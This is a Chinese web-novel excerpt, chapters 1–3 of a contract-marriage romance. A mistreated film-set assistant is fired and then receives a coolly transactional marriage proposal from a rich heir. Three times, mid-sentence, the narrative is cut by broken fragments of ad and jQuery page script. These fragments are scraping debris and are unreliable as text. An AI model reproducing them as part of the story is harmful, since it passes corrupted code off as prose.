《顶级新婚[先婚后爱]》 1. 雨夜 二月的泠州阴冷潮湿,走出内景影棚到室外,扑面而来的冷风像刀片似的刮得温知禾脸疼。长桌拼接而成的柜台纵横着包装不一的外卖袋,温知禾本来只需帮师父取咖啡,但额外还要替演员蔡馨领中午饭。 咖啡的包装很好认,温知禾一拿一个准,至于安隆斋的外卖,她一直都没找到。 温知禾善用搜索引擎翻到了外卖包装,很讲究,应该扫一眼就能找到。 她抬头再度环顾一圈,确认没找到便发消息问了下蔡馨的助理,五分钟后没回,她只好自行到其他外卖点寻找,绕了一圈回来,温知禾的耳廓已经冻得通红。 与此同时,助理才回消息:【外卖小哥刚到,就在门口,你应该看得到吧?】 温知禾向柜台望去。 确实看见了,外卖员刚放下,格外精美的蓝紫色国风保温袋,上面还印着个非常显眼的“隆”字。 她提起赶回片场先把咖啡送给师父,果不其然挨了顿数落。 “这都快有十来分钟了吧?怎么回事啊,一会儿可就要开工了。”曹泽咬着烟蒂,接过咖啡袋,目光落在她提的另一袋子上。 温知禾提了提,无奈解释:“帮蔡馨拿的外卖。” “那位可不好伺候。”曹泽点点头,也没有追究的意思,扬手道:“还不快送去。” 确实如他所说,蔡馨本人并不好伺候。温知禾刚到休息室门口拧开一线门缝,便听见蔡馨对化妆师的牢骚。 演员艺人在片场耍大牌并不罕见,不论一线还是十八线,一些人被众星捧月惯了,难免会带点天龙人高高在上的姿态,遇到这种事温知禾向来是能忍则忍,职业假笑挂多久她心里就骂多久。 虽然人在气头上,但这烫手芋头不送也不行,温知禾推门而入,一道目光透过化妆镜反射到她身上。 “行了你也甭动了。”蔡馨撩了下厚重的长发,扭身手背朝下向温知禾招手,跟唤狗似的,“你过来,把外卖布好放茶几。” 温知禾本不愿做这差事,可多一事不如少一事,她只能照做,作为摄影助理,曹泽也基本只让她干这种杂活,反正来这主要为了观摩学习。 布置完饭菜,温知禾刚准备把塑料膜转移到垃圾桶,就听见蔡馨不耐烦的声音:“拆解之前你洗手了吗?而且外卖怎么取得这么慢。” 温知禾一时无言,也懒得狡辩,只答:“那我现在去洗。” 蔡馨皱了皱眉头,两腿交叠:“不用了,帮我捡一下地上的簪子,刚刚掉地上了。” 休息室里人不算少,抛去另外两位演员,她带来的助理都有三位了,谁不能帮她捡一下簪子?而且退一步讲,这种弯个腰就能做的事,本人为什么不能做? 打从昨天起,温知禾就或多或少感觉到蔡馨的故意刁难,这让她不得不联想到蔡馨与豪门老公闹不和的八卦,看来应该是真的。 低头看眼地面周围,温知禾并没有找到所谓的簪子:“你起来我找找。” 蔡馨已经拿着筷子夹肉了,闻言看向她,哼笑一声,像是听见什么玩笑话:“我吃着饭你让我起来,自己不会蹲下来看看?怎么着,膝盖长黄金了?” 温知禾并没有对人下跪摸底的习惯,事到如今她已经忍够了。她掏出手机看眼表,随口扯谎:“已经两点一刻了,我还有事得去片场帮忙,劳烦其他人了。” 也不管蔡馨是什么表情,温知禾就直接转身离开休息室,踏出房门的第一步,她当即左转找厕所,掏出手机和好友吐槽。 陈笛大概也在摸鱼,回复消息得很快,情真意切的回应给足了情绪价值:【这不纯纯神经病吗?真把你当牛马使唤了,演了三部女主还flop得查无此人,要不是嫁了个豪门哪来这么多资源。屏幕上丢人现眼,私底下当土皇帝……我本来以为我工位的怨气就已经够重了,没想到你那里更水深火热。】 【都嫁豪门了,安心做她的阔太太呗,干嘛出来辣眼睛。】 …… 【哎,要是换做我,我就在家数钱了,不过能随随便便演戏拿大几千万的片酬,我也干。】 【成为资本,超越资本!】 【我今天刷到一条视频,酸死我了,要是我有这种一个月给几百万还不回家的老公,还至于在这里当牛马吗!】 温知禾只是上趟厕所出来洗手的功夫,就见手机屏幕上的话题一百八十度地拐到做梦环节。 她笑了下,也跟着复制口嗨。 洗净手从口袋里抽出纸巾,温知禾倏然摸到一张偏硬的卡片,大概是上次洗衣服忘记掏出来了,上方的字迹已经洇染得模糊不清,隐约只能看出三四个数字的轮廓。 仅思索片刻,温知禾便想起这张卡片的来历,是一个月前,有幸在恒川旗下酒店做礼宾相伴于贺先生身边,对方给她的联系方式。 说起来也实在不切实际,她只是稍微做些端茶倒水的事情,就获得了这位先生的青睐,以至于对方坐在面前说起会给她一份长期工作,她都觉得莫名其妙。 她并没有答应,但也没当即拒绝,只是收下卡片说需要考虑一些时间,而那份酒店兼职,她干满月底就走了。 这位贺先生从此和她再没有任何交集,偶尔温知禾会刷到一两条恒川集团的相关讯息,但她对商界的新闻讯息不感兴趣。 大数据的信息茧房完美地将她裹挟在电影与摄影美学里,所以关于对方的消息,都犹如她与他的关系,顺滑地淌过她的大脑皮层,不再留下一丁点痕迹。 温知禾临走前想也没想就把卡片揉掉扔到纸篓里。 - 片场已经开始拍摄,温知禾所在剧组拍摄的是蓝星TV出品的S+大制作仙侠古偶,其实说是大制作,成本估计都花在演员阵容上了,服道化是素净不考究的,场景是绿幕合成的,一些男女主对手戏甚至是不同框另拍的。 以温知禾多年看电视剧的经验,这部剧就算暑期档播出,“爆火”大概也是仅粉丝可见。娱乐圈产出的类“洗钱”烂剧屡见不鲜,可惜的是导演曾经明明还拍过入围奖项的文艺片,现在不得不为钱低头。 但或许只是她自视清高了,毕竟赚钱不寒碜,谁不想赚钱呢。 闲暇下来,温知禾就抱着笔记本,在距离导演组不远处的位置进行观摩实训。她的梦想是拍电影,只可惜理论经验富足,实践经验欠缺。迄今为止,她也只拍过一两部小短片,成本的投入和资源的欠缺让她望而生怯。 “谁让你坐这儿了?起开,这些都还要用。”头顶传来男人的骂声,温知禾扭身望去,有些一头雾水。 男人踹了脚箱子,皱眉怒骂:“看我干什么?苹果箱是让你坐的吗?” 温知禾微顿,这才意识到他在说什么,她半躬身拎着小马扎挪动,仰头理直气壮地辩驳:“我就贴着苹果箱,哪里坐那上面了?” 温知禾先前对剧组一些不成文规定略有耳闻,没想到不让女人坐苹果箱的传闻居然是真的。 男人瞪眼她,让场务将苹果箱搬到影棚里,温知禾眼睁睁看着自己刚才贴坐的箱子,垫在了男演员脚下。 温知禾看笑了,如果她要是做导演,别说是给女人坐苹果箱了,男演员也别想踏着箱子垫高。 观摩没多久,温知禾也被曹泽调去拿白板,这玩意不算沉,但来回陪NG次数多的演员,半抬的手到底是会酸。 好巧不巧,她配合的演员还是蔡馨,温知禾清楚地看见她翻的白眼。 温知禾就当没看见,等这条过了,才下场喝水,曹泽正摆弄着镜头,温知禾有些腼腆地问:“师父,我可以看看吗?” 曹泽睇眼她,敷衍又不耐:“别在这碍手碍脚了,下一场马上要开始了。” 曹泽是带她的师父,但基本就没教过什么,就连先前承诺会将她介绍给导演,正式签入工作室的事也没下文。 温知禾“哦”了声,只好作罢。 - 夜里十二点剧组才收工,温知禾本打算赶公交的最后一班公交回民宿,但曹泽却突然打来电话,需要她来一趟酒店门口,帮忙接洽明天要进组的艺人。 什么累活琐事不必要做的工作都压在身上,温知禾已经磨得没脾气了。 酒店两侧的暖光自下而上地亮起,外展的屋檐宽阔清明,立着一排硕大的酒店字母LOGO,这里是距离影视基地最近的酒店,住房价格也高昂,剧组的艺人基本都住这儿了。 快到酒店时,天空突然下起大雨,温知禾三两步踏上台阶,湿漉漉的水渍从鞋底外洇了一地,也不好意思进大厅。 曹泽电话打来,问她人在哪里,温知禾如实回答自己已经抵达酒店门口,只不过天空不作美,下起了大雨。 浩大的夜雨打斜潲落下,看起来一时半会儿是不可能停,而电话那端的曹泽停顿片刻,却说了句噩耗:“人可能今天不会来了,你回去吧,明天人来了再去接。” 温知禾都要骂人了,早不说晚不说偏偏这种时候才说,关键是她身上还没有一把伞。 温知禾轻轻叹口气,也不知这场雨需要多久才能停。 庭前几米外有一座三层高的大型喷泉,同样有地灯打光,密密匝匝的细针落地,漾开阵阵涟漪。 就在这时,雨幕中一辆s680迈巴赫打双闪慢慢行驶而来。坐车的人大概是这里的贵客,很快就有酒店的人撑伞下去迎接,身形不似礼宾般整齐划一,而是微微发福撑开西装,应该是大堂经理。 车门外敞,经理不顾肩边淋湿,谄媚着将伞身倾斜过去,温知禾站在台阶上,视野投掷而下,只看得见黑色伞面下的挺括西服,修长的西装裤。 豪车 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不算罕见,价值几百万的顶豪轿车的确值得注目三秒钟,况且这位车主的身形实在赏心悦目,一米八是有,或者更高,肩宽臀窄健身痕迹很明显,穿着品味考究又不张扬。 雨雾迷濛,经理与伞下男人的交谈声变得极轻,戴着耳机温知禾无法当隔墙耳,打量的新鲜劲儿也过了。 她低头捞起手机,将耳廓的音量调到百分之七十,堪堪淹没落雨声。微亮的屏幕里除了是垃圾推送,就是那首《Can''t Take My Eyes off You》歌词停在歌名的界面。 这首歌有着无数的翻唱版本,不算小众,但温知禾钟爱原版,律动的鼓点悠扬又不轻挑,很有古典的味道。 伴奏滑向高潮,歌手磁性又挺劲的声音彻底推动耳膜——“I love you baby and if it''s quite alright.” 这是温知禾最爱的一段,因为歌词也因为曲调,即使她迄今为止并没有对任何男人动心地问过“我是不是可以爱你”。 她的耳道沉浸在歌曲中,但随意一瞥的目光并没有完全聚焦在此刻,因为她低垂的视线里,闯入了垂感极好的西装裤与黑色皮鞋。 在抬头之前,温知禾还以为是侍者在赶客,看清伞下男人清隽深邃的面庞时,她不由得陷入愣怔,像镜头被无限拉长到升格之中。 酒店厅前纵横皆宽敞,他下车径直前行会与她相隔三步远,但男人不仅走到她身侧,还停步垂眼看她。 是熟悉的面容,对方优越的皮骨与一个月前温煦缓和的赞赏,都令人印象深刻,久久无法忘怀。 耳机里的歌只有三分二十三秒,最后一段高潮结束,人声就从“Now That I''ve foud you stay”渐渐消弭,陷入沉静。 雨一直下,耳机没摘掉,温知禾能看见他平静的面容淌过一丝兴味,双唇在张合,却并没有听清对方的话。 鬼使神差之下,温知禾不由得摘下耳机去询问,目光犹疑,声线也带着不确定:“不好意思,你在和我说话吗?我没听清。” 其实做兼职温知禾一直秉持着拿死工资的想法得过且过,可陪侍的客户身份尊贵,她不得不拿起百倍精神对待,就连背景喜好也熟记得详尽。 眼前的这位是贺氏恒川的继承人,也就是一个月前,向她抛出橄榄枝承诺会给一份长期工作的人。 贺徵朝。 经理的身高无法匹敌他一米九的个子,不得已抬臂高举黑伞,贺徵朝高挺眉骨陷入暗处,双眼却是幽深又明晰:“当然。” 配合她倾听的侧耳,他略一颔首,透着京腔,嗓音清醇:“除了你,在这儿应该没有人可以与我叙旧,温小姐。” 温知禾有片刻愣怔,因为这番客套话。 她并不认为,像贺徵朝这样的人会记住她。这不是她妄自菲薄,而是她对对方、对自己最清晰的认知,毕竟“叙旧”一词未免也太抬举她了。 温知禾能明显感知到身侧经理打量的目光,很显然对方也是不信。 贺徵朝左手抄进西裤口袋,右手微扬示意经理收伞,并没有就此离开的意思,温和地询问:“在等人?” 温知禾不动声色地调低下首曲目的音量,诚恳地回答:“不是,等车,我不住这里。” 贺徵朝略一颔首:“打到了吗?” 这里属于近郊,并不是很好打车。温知禾微顿:“还没。” 如果他当真心善,应该会给予她一把伞渡越这场雨,她有这个想法,但不能太过直白地求助,所以委婉道:“我住的民宿也就走一段路,雨稍微小了再走也没问题。” 贺徵朝很绅士,一如之前的态度,并没有详细过问民宿具体位置,只笑了下。 温知禾没记错的话,他今年应该已经有三十二岁。年纪不算老成,却也称不上年轻,梳着侧背,骨相轮廓明朗,即便没有身世的加持,靠这张分外英俊的脸,也不应当直至现在都未婚。 思绪回笼,温知禾为这种没由来的分神感到可笑,他是否已婚,和她又有什么关系。 “这场雨也许会下很久,十二点钟了,是深夜。”贺徵朝抬手指向腕表,那块工艺精妙的表也确实展示在她面前。 温知禾看了眼,抬起的目光有一瞬与他半空交汇,他耐心得像是位好好先生,善意提醒:“虽然我不知道你住的地方是否偏远,但你已经停留在这儿,倒不如直接在这里留宿一晚,走夜路不安全。” 如果有得选,她当然愿意住在这里。 温知禾双唇微张,刚要解释,便见男人略一侧身。 他深邃的目光并未从她身上偏移,浸润了雨意的清透,有着一贯的温柔: “只要你愿意,你可以住在这儿,我会免费让人替你安排一间房。” 2. 偷拍 温知禾深知“天下没有免费的午餐”这句话的道理,一个男人对女人说出这番话,哪怕是善意的、磊落的,也很难不让人心生疑虑。 “其实不用,我……” 话音未完,贺徵朝又问:“我知道这附近有影棚,你在那里工作?” 拍摄基地占据大片地,还有着显眼的地标,他能知道称不上多新鲜,况且她脖子上还挂着工牌。温知禾“嗯”了声。 经理也注意到她的工牌,见缝插针地讪笑着补充:“温小姐所在的剧组,大部分员工艺人都住在这儿,通勤也方便不是。” 温知禾不知该怎么回答,虽然他说得没错,可她必须拒绝:“先生,坦白说我确实没有多余的预算支付费用,而且我也不想白白借您的人情。” 贺徵朝深表理解地点了下头:“人情可以借,预算是多少就支付多少,这样,能接受吗?” 他的话语依旧妥善平和,眉眼压得极低:“今夜太晚,况且再遇难得,还望温小姐接受。” 二月底的泠州雨天湿冷,她没被淋成落汤鸡,但也没体面到哪里去,杵在这里吹风冻感冒也不是事。 温知禾硬着头皮同他进酒店,经理很会来事,马上就让侍者过来送条毛毯披到她身上。温知禾裹着毛毯又看眼打车记录,确实无人接单,观测天气预报,这场雨还会连续下到明早。 走到前台,贺徵朝率先发话:“请给这位小姐最好的套间。” 温知禾愣了下,实在不解眼前的男人究竟是因为事而如此慷慨大方。 入住手续办理得很顺利,只需她出示一下证件,前台就将房卡挪到眼前:“你好女士,这是您的房卡,您的房间在45楼4512号门,祝您入住愉快。” 房卡被贺徵朝夹在两指间递来,他的手指修长干净,骨节分明,指间的黑色房卡镀了层金,看着就贵。 事实上也确实昂贵,毕竟是顶层的豪华套间。这里距离片场近,而且明天还能直接下楼接人……温知禾没出息地心动了,在接过房卡之前,象征性地说了句客套话:“贺先生,如果您有什么事需要我帮忙,可以随时找我。” 贺徵朝颔首,绅士地哼笑一息,似乎并未放在心上,但也清浅地应声:“好。” - 插上房卡,套间的壁灯骤然亮起,这里的住宿条件远比她和其他工作人员同租的民宿要好太多,不,应该是好一万倍。 拉开帘子,温知禾看到不远处的繁华都市,纵横交错的街道如一张蛛网,闪烁着明亮的霓虹灯,很漂亮。 她承认自己是有那么些头脑发热,轻而易举地接纳了他人没由来的善意。可是今天过得实在太糟糕,她忍不住将这次的机遇当做某种馈赠。 想到今早扔掉的卡片,温知禾有些后悔没有留存下来,不过即便不扔,上方模糊的字迹也根本没有用处,之后她再找机会把剩余费用还给那位先生。 明天是特殊的日子,是她四年一次的生日,她的二十岁。 温知禾跪坐在沙发上,郑重其事地将十指交扣抵在下巴前。眼前通明的灯火,她且当是生日蜡烛,眼睛一闭一睁,许下心愿。 希望她的梦想永不暗淡,就像泠州的夜晚。 礼毕,温知禾打算去洗个热水澡,身上的衣服还不算腥臭,晾干了明早还能穿。 她是这么想,刚要去浴室,门外传来铃声。 拧门一看,是一位推着餐车的礼宾,笑容明媚:“温小姐,生日快乐。” 温知禾稍怔:“啊……谢谢,这是?” 餐盘盖掀起,赫然是块黑丝绒蛋糕,也许是考虑到夜里不宜进食过多,这份蛋糕仅四寸。但格外细致的布置,不难看出酒店的用心。 温知禾本以为是酒店的准备,直到侍者解释:“这是贺先生为您准备的蛋糕,这是礼物。” 她提起标有大牌LOGO的纸袋,放到一侧的沙发上。 温知禾更震惊:“还有礼物?” 温知禾收不下这份礼,但侍者的回应滴水不漏,她也不好为难人家。 等人走后,温知禾瞄了眼纸袋,心里不自觉犯嘀咕。贺徵朝对她未免也太好了些。 - 翌日七点整,温知禾提前下楼来到酒店大厅接人,接应的演员远比想象中要好伺候,去片场前对方还额外送了她一小盒巧克力,虽然不算多贵重,但这是温知禾头回在这份工作上感觉到人情味。 在盥洗台前洗把脸,温知禾扎起短马尾重新把鸭舌帽戴好,她刚要抽纸擦手,就接到曹泽打来的电话。 “知禾,你现在在哪儿,来了吗?”电话接听后,曹泽的语气莫名平和。 温知禾还以为他在催,小跑一段匀口气:“快了,马上到,我刚接人回来。” “没事儿不急。”曹泽略一停顿:“你今天不用来了。” 温知禾步子渐慢,余光瞥见旁侧有人搬器材经过,找了处不挡道的墙角,她刚要问为什么,耳边只剩挂断的忙音。 放下手机看屏幕,确认是被挂断,温知禾油然而生一种不好的预感。 还没走几步路,曹泽又打电话过来,这次算是印证了预感:“你人来了是吧,那你把工牌拿给我。” 温知禾眉头蹙起,抓紧时间问:“师父,为什么要我的工牌啊,是有什么事吗?” 曹泽解释得含糊不清,唯独电话里外那句重音掷地有声:“行了,我看见你了,你过来把工牌交给我!” 温知禾抬眸循声望去,能看见曹泽站在器械旁,绷着脸冲她招手。 秉着面谈总比电话聊要方便,温知禾便撂了电话走到曹泽跟前。 她刚喊一声“师父”,曹泽就抬起手握住工牌,不耐地拽了拽:“摘了。” 他的手劲儿不算重,但温知禾没做好准备,脖颈直接被往下一扽。 攥着工牌,曹泽叹气低声:“蔡馨人专门说了,不想看见你,所以你最好是把工牌交了赶紧回去。” 温知禾微愣,她料想过蔡馨会小心眼使绊子,但没想到对方会做到这种地步。 剧组拍摄的时间要紧,温知禾知道自己就算再怎么费口舌也没用,只能上交工牌。 眼睁睁工牌被曹泽随手塞进口袋,温知禾抱紧怀里的笔记本,抿唇问:“那我之后的工作……” “之后再说吧。”曹泽皱眉不耐地扬了扬手,催促她离开片场,很快就投入拍摄的环节里。 温知禾眼望他操作设备,犹豫几秒只好转身往外走。 影棚人来人往,快到门口的时候清净了不少,温知禾思绪飘远,没注意旁侧有人,结结实实和对方撞了个正着。 痛感与胸口处的冷意激得她顿时清醒,温知禾低下头,就见自己被人泼了一身的咖啡。 她今天穿的还是昨天的白衬衫,易干但不好洗净染色的污渍,咖啡浸 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 湿了一大片,还在往下滴水。 罪魁祸首倒吸口气,欲哭无泪地掏出纸巾凑上来擦:“姑娘,不好意思啊,我真的不是故意。” 温知禾看清她的面容,觉得有些眼熟,还没想起是谁,对方便将纸巾塞到她手里,焦急万分:“能麻烦你自己处理一下吗?要是处理不好您再来找我吧,我还得买杯新的咖啡,真的很不好意思……” 温知禾慢慢攥紧纸巾,很轻很闷地“嗯”了声:“没事儿,你忙吧,我自己来就行。” 女孩连忙又致歉两声,不忘帮她捡起掉落一地的文件。 最后一叠文件飘到休息室门前,温知禾弯腰去捡,刚拾起文件的一角,休息室的门敞开,一只踏出的绣花鞋就恰好踩住。 温知禾下意识抬头,却见蔡馨笑意渐褪的面容。 真是冤家路窄。 温知禾手指隐隐用力,声音略低:“麻烦抬一下脚,你踩着我东西了。” 温知禾脑海里已经飞快掠过蔡馨再度刁难的嘴脸,没曾想她真的挪开步子,虽然文件左上角有明显的鞋印。 道谢的话还没脱口而出,文件便蓦地被她拽走。 蔡馨眯着眼扫视了两行字,乜向她语气轻哂:“你自己写的?” 对方讥讽的表情分外飞扬,似乎只要她点下头就会展开羞辱,失了工作温知禾已经没脾气,哪还有心思在这周旋,她沉默不说话,毅然抢过文件。 蔡馨也不恼,似笑非笑:“想进导演组也不看看自己够不够格,没人带的话留在这里还真不行。” - 来的第一晚没住民宿,行李几乎原封不动,温知禾锁上门放好钥匙,拎着行李箱一步步下台阶,她有意识地越过水洼,却踩着青苔险些打滑。 行李箱沉沉落地,滑轮卡在罅隙里,温知禾双手撑着拉杆才稍稍稳住重心。 她感觉牛仔裤下的膝盖被狠狠剜了一道,轻轻掀起紧贴的裤腿,她就已经因为疼痛倒吸口气。 人倒霉到极点就是会发笑,温知禾想笑又笑不出来,这无疑是最糟糕的一天。 她本可以离开民宿订票就走,但她莫名感到不甘心,拉着行李就折返回酒店。 躺在酒店柔软的大床上,温知禾深吸口气,缓和片刻便去浴室洗澡换新衣服,拭着湿发来到落地窗前,眼望脚底的泠州,这座城市的白日不同夜景灿漫,但作为远近闻名的古都也值得走一遭,来都来了哪有不采风的道理。 回房前温知禾问过前台,这间房是续到三天后,打过折的价格不算高昂,她付得起……但她得先找到垫付的那位贺先生。 电梯下行,温知禾手持相机,虚眼调节参数,一路走向大堂。 厅堂侧方各划分不同功能的休息区,由半镂空的纵向挡板隔绝,黑金瓷砖地一路铺陈,交织出人流来往的步伐声。 温知禾托起相机,镜头无意间斜倾,定格在休息厅门口,稍作停留的几人身着西装革履,正清浅地交谈。 温知禾稍怔,放下相机仰头望去,就见被拥护在其中的男人赫然是贺徵朝。 她指骨微松,手中的相机忽地闪现白光,咔嚓一声,清脆掷地。 这动静不算大,但骤亮的快门能令她血液瞬间凝固,尤其与人群里那道目光交汇。 温知禾清晰地看见,男人深邃眉骨下,渐渐外洇的深意。她喉咙一哽,后知后觉意识到,自己像是个偷拍者。 3. 童话 随行的人为贺徵朝马首是瞻,不会错过他分神眺去的一眼,况且下瞬他便向助理示意,脱身而去。 航司经理微愣,欲言又止地望向助理秘书。 昨夜的电话贺徵朝是接了,但一没接受补偿动身换航,二又态度冷淡叫人捉摸不透,面对这尊大佛他是抓心挠肝,思来想去只能上门攒局当面致歉,谁能想到他中途又离开。 秘书有着良好的职业素养,微笑着解释:“贺总有事先忙,您待会儿要是还有什么事,跟我们几位交代就行。” 航司经理只好作罢,临走前不由又看眼那方与他身影交错的女孩。 没人知道她是谁,温知禾也陷入“我是谁我在哪儿”的迷茫之中,这位上一秒还找不着的人,下一秒就出现在她镜头里,甚至活生生站在面前—— 贺徵朝看向她手中紧握的相机,敛眉睇她,口吻平和:“在拍照?” 很简单的询问,不带任何情绪,温知禾握着相机的手指略略泛白,应声:“也不是,就太久没用拿出来玩玩。” 偷拍是无意,但快门是按下了,她总不能不认。温知禾抿唇又说:“刚刚一不小心按到快门了,不过没拍到您,只是虚影,您别介意。” “不会。”贺徵朝眉眼微松,透着轻笑,“有些遗憾,我倒是想看看你拍的照片儿。” 挑不出错的绅士,但未免过分好说话了些。不可否认,因为这句话温知禾是松了口气,她低头展示相机,大大方方地删除刚才的画面。 对上男人深邃的双眼,温知禾也不吝啬客套话,露出招牌性的笑:“您要是需要拍照,随时找我。” “随时?”贺徵朝捕捉到关键词,缓慢地嚼字,似乎是在考量这两字的分量,毕竟昨夜她也是这么对他说的。 被开不到一小时就暴露自己是无业游民,温知禾虽然不觉得丢脸,心里还是滴血的。她收了收笑意,依旧笃定:“随时。” 贺徵朝并未过多计较她时常挂嘴边的词汇,文质彬彬地问:“如果温小姐随时有空的话,中午要不要一起吃顿饭?” “有个忙,或许温小姐可以帮到我。” 他说话时是低眉注视她,给足了尊重,温知禾一米七其实也不算矮,但总是需要仰头看他。 话音甫落,温知禾有些意外,虽然他的话印证了昨夜的猜测,既,这世上没有免费的午餐,但温知禾实在想不到自己能帮到他什么。 她该谨慎些,但脑海里却不自觉浮现出今早蔡馨的讥讽。 朋友。 ——如果她有一个像贺徵朝这样的朋友呢? 这种想法在脑海里一闪而过,驱使她双唇微张,当即答应:“好啊。” - 酒店餐饮区的窗边阳光充足且不燥热,温知禾坐在对面,将相机搁置到身旁。 点完餐,温知禾抬头面向眼前的男人,双手垂直放膝,后背也莫名稍稍挺直了些:“贺先生,您可以和我谈谈您需要我帮什么。” “不过我得事先说明,我是良好公民,不做违法乱纪的事情。” 这话不是玩笑话,她说得很认真。 “你不用担心,温小姐,这事儿是合法的。”贺徵朝轻笑,“我也是良好公民。” “我需要你在我身边做一份工作,长期工作。”他目光深邃,嗓音温和,“在此之前,我想问你一些问题,这涉及一些隐私,或许会有些冒犯,如果你不想回答我,可以告诉我。” 温知禾点头:“好的,您说。” “你有男友,或者正在接触的对象么?” 贺徵朝说话时,温知禾是分毫不差地与他相视,他有着醇厚微卷的京调,与这张英俊成熟的面庞适配极了,可话说出口,她却有音画不对等的错觉。 ……不过在工作面试评估上,有这种问题也正常。 温知禾如实回答:“没有,单身。” “目前现阶段有结婚的想法和打算么?” 这不都一个问题。温知禾摇头:“没有,我觉得我还很年轻,现在结婚还太早了。” 贺徵朝莞尔,沉吟片刻:“家里人也这么认为?” 温知禾干脆利落:“没有家人。” 空气似乎凝固了一瞬,贺徵朝眉梢略略上抬了几分。 温知禾却笑,声音饱满,让人看不出一丝被冒犯的迹象:“这没什么,如果非要问家人的话,我有两只猫。” “所以您是想问我的家庭情况吗?”她想了想,又问。 贺徵朝没问,恰好侍应生来送餐,这座酒店常接待外宾,法餐是特色,温知禾点的主菜是胡椒牛排,中规中矩不容易踩雷。 她真的饿了,也不认为和这位先生吃饭有什么可顾及,所以即刻切块塞入嘴中。 牛肉火候刚好,裹满汤汁的肉质滑嫩细腻,很好地满足了口腔味蕾,唯一美中不足的就是分量太少。 温知禾吃两口就剩一半,而贺徵朝的餐盘几乎没怎么动过,牛排在他的餐刀下被优雅地切割,倒是挺赏心悦目。 温知禾咀嚼的频次都慢慢降低了,虽然会有配菜,但她不想吃完牛排还要以切西兰花来掩盖自己的狼吞虎咽。 贺徵朝似乎是看出她有意放缓,温和询问:“不合口味?” 他分明才刚抬头看她,温知禾手一顿:“不会,挺好吃的。” 话题聊到这基本就死了,温知禾懂得如何不让话掉地,她再度开门见山地问:“贺先生,所以您需要我做什么工作?” 如果可以的话,她希望这位先生谈的是字面意思的合法工作,他需要一个合心意的下属,她也需要这种朋友狐假虎威。 在她对这桌逐渐冷却的佳肴意兴阑珊时,贺徵朝放下玻璃杯,掀起眼皮缓缓道: “和我结婚。” 如果视网膜倒影的是一部电影,温知禾或许还会因为此情此景这种台词心动,但——结婚?她没听错吗?他是在和她说这件事? 温知眉心跳了跳,这都已经不是音画割裂,而是认知上的颠覆。 “你不用怀疑自己听错。”相视无言的第三秒,贺徵朝徐徐开口,嗓音有种淡雅的浸润性,“我说的就是和我结婚。” 这般笃定的陈述句掷地有声,像音箱在她耳畔扩音到极致,震得她心律更紊乱。 温知禾干笑两声,说出那句不尴不尬的经典台词:“先生,您真会开玩笑。” 贺徵朝低眉,回以同样经典的否认:“不是玩笑。” 阅览影视剧无数,温知禾对戏剧的套路几乎有着八九不离十的预测,可一旦搬到现实、面前,她只觉得……这太荒谬了,太不切实际了,是不是再等等,她还能等来自称亲生父母的富豪找上门? 冷静,冷静。温知禾在心里对自己说,战术性地拿起水杯一饮,清冽的柠檬涩味刺激味蕾,她只抿了一小口,没舍得放下,依旧握着玻璃杯放在唇前。 视线越过杯口,细细盱衡男人成熟英俊的面庞,自眉骨到鼻梁,温知禾只看出他的泰然处之、古井无波,似乎为证明并非为玩笑话,他连笑意都一并敛去。 温知禾不认为,像贺徵朝这样的人会和她开这种玩笑话。 但她也不会自以为是到贺徵朝能对她……求婚。 这算是求婚吗? 她需要打个问号。 她被震撼到沉默失语,而面前这位先生,这位罪魁祸首,却以漆黑的双眼安然如故地凝着她。 似乎只要她不开口,不接这茬,他就不会将话题延伸下去。 温知禾缓慢放下玻璃杯,指头轻轻抠动玻璃杯内陷的纹路,声量放低:“为什么?” “像您这样的人,应该 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不缺结婚对象吧?”温知禾迎上他的目光,缓缓发问,“我身上难道有您很需要的东西?” “还是说。”温知禾小心翼翼地猜测,“我是某个不知名富豪的隐藏款民间遗珠?” 温知禾能想到的最具有说服力的理由,就只有她是某富豪的民间遗珠,而贺徵朝需要和这颗被指定的珠珠联姻。 合情合理,皆大欢喜。 她大胆猜测得认真,贺徵朝却是低低哼笑,给予评价:“你很有想象力,温小姐。” 温知禾停下抠弄的手指:“……” 明明是他先说出荒唐话,怎么她还先被批判上了。 温知禾有种被戏耍的感觉。 她的面颊渐渐攀上尴尬,贺徵朝好整以暇地整理袖口,抬眼看她,不再打哑谜:“我的理由很简单。” “你的长相很顺眼,我不反感,你做事利落干净,我用着也顺心。” 他侃侃说出理由,温知禾本以为会是番言之有理的长篇大论,但并没有,说完“顺心”二字,他就没了下文。 确实印证了“简单”二字。 温知禾慢慢呼吸:“就这样?” 贺徵朝淡然睇她,嗯了声。 温知禾还是无法理解,接着问:“为什么是我,符合您这样标准的,应该不止。您也不缺合适的结婚对象,对吗?” “的确,你说的不错。”贺徵朝认同,不疾不徐地应,“只不过我喜欢简单干净的人,身世简单、过往干净。” 他目光沉沉如炬,嗓音一如既往地慢条斯理:你对我而言,在事业上不会有任何推力,但也不存在阻力,在可控范围内,也好把握。我不喜欢麻烦,而你最大的苦恼和欲望,恰好是我容易解决的小事情。” “久远的不说,就说眼前的事儿,你淋了雨在酒店门口踌躇徘徊,付不起住宿费,我可以替你垫着;你没有合适的换洗衣服,我也可以送你一套;你失去工作,我恰好可以再给你一份,这些投入成本对我而言低廉且微乎其微。” “但对你来说,应该称得上是雪中送炭。” 贺徵朝四平八稳地总结定论。他的措辞不出错,但相比先前,总显得不够温文尔雅。 温知禾读得出其中的轻蔑,这不只因为他的话,还因为他话里话外的理所应当和肯定,虽然事实确实如此。 贺徵朝观测她逐渐变化的微表情,扯唇很轻地笑,眼底依旧漆黑:我以为你会更喜欢童话梦幻的理由。” 他双膝交叠,腕骨随意地搭放在扶手上,眉梢轻挑,淡声问:“我这么掰开揉碎了摆到明面儿上和你说,是不是更清楚?” 餐厅中央设有一架钢琴,聘请的琴师进行现场演奏,曲目舒缓而优雅,贺徵朝话音刚落的那刻,恰好与清脆的尾音共振,像珠玉落地。 曲尽敛声,空气陷入短暂的沉寂。 温知禾能听见自己并不平稳的心跳,一下又一下。 她感到不快,理清思路,也知道自己窝憋的缘由。 温知禾微攥手心,直接了当:“……所以我是你考虑的目标里,最廉价最低成本最容易满足的一位?” 贺徵朝轻声嗯了下,并不因为如此直白的话语恼怒,反而温和地赞许:“你总结得不错,是这样。” 